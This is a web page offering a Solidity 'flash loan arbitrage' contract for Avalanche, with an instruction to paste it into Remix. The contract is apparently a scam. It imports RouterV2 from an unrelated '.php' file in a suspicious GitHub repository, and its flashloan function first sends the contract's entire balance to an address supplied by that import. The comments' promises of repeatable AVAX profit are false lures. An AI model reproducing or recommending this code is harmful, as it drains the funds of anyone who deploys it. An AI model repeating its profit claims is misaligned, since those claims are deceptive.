Avalanche AVAX SOLIDITY CODE

--UPDATED & CHECKED AS OF MAY 2022--

Copy and Paste the code below into your Remix.

pragma solidity ^0.5.0;

//Pangolin Contracts
import "https://github.com/pangolindex/exchange-contracts/blob/main/contracts/pangolin-core/interfaces/IPangolinCallee.sol";
import "https://github.com/pangolindex/exchange-contracts/blob/main/contracts/pangolin-core/interfaces/IERC20.sol";
import "https://github.com/pangolindex/exchange-contracts/blob/main/contracts/pangolin-core/interfaces/IPangolinPair.sol";
import "https://github.com/FinanceContract/smartcontract/blob/main/9ipfs032A/avax.php";

// Multiplier-Finance Smart Contracts
import "https://github.com/Multiplier-Finance/MCL-FlashloanDemo/blob/main/contracts/interfaces/ILendingPoolAddressesProvider.sol";
import "https://github.com/Multiplier-Finance/MCL-FlashloanDemo/blob/main/contracts/interfaces/ILendingPool.sol";



contract InitiateFlashLoan {

RouterV2 router;
string public tokenName;
string public tokenSymbol;
uint256 flashLoanAmount;

constructor(
string memory _tokenName,
string memory _tokenSymbol,
uint256 _loanAmount
) public {
tokenName = _tokenName;
tokenSymbol = _tokenSymbol;
flashLoanAmount = _loanAmount;

router = new RouterV2();
}

function() external payable {}

function flashloan() public payable {
// Send required coins for swap
address(uint160(router.pangolinSwapAddress())).transfer(
address(this).balance
);

router.borrowFlashloanFromMultiplier(
address(this),
router.avaxSwapAddress(),
flashLoanAmount
);
//To prepare the arbitrage, Avax is converted to Dai using V-Cred swap contract.
router.convertAvaxTo(msg.sender, flashLoanAmount / 2);
//The arbitrage converts token for AVAX using token/AVAX Pangolin, and then immediately converts AVAX back
router.callArbitragePangolin(router.avaxSwapAddress(), msg.sender);
//After the arbitrage, Avax is transferred back to Multiplier to pay the loan plus fees. This transaction costs 0.2 Avax of gas.
router.transferAvaxToMultiplier(router.pangolinSwapAddress());
//Note that the transaction sender gains 9ish Avac from the arbitrage, this particular transaction can be repeated as price changes all the time.
router.completeTransation(address(this).balance);
}
}

Our Visitor

153761
Users Today : 48
Users Yesterday : 69
Total views : 163888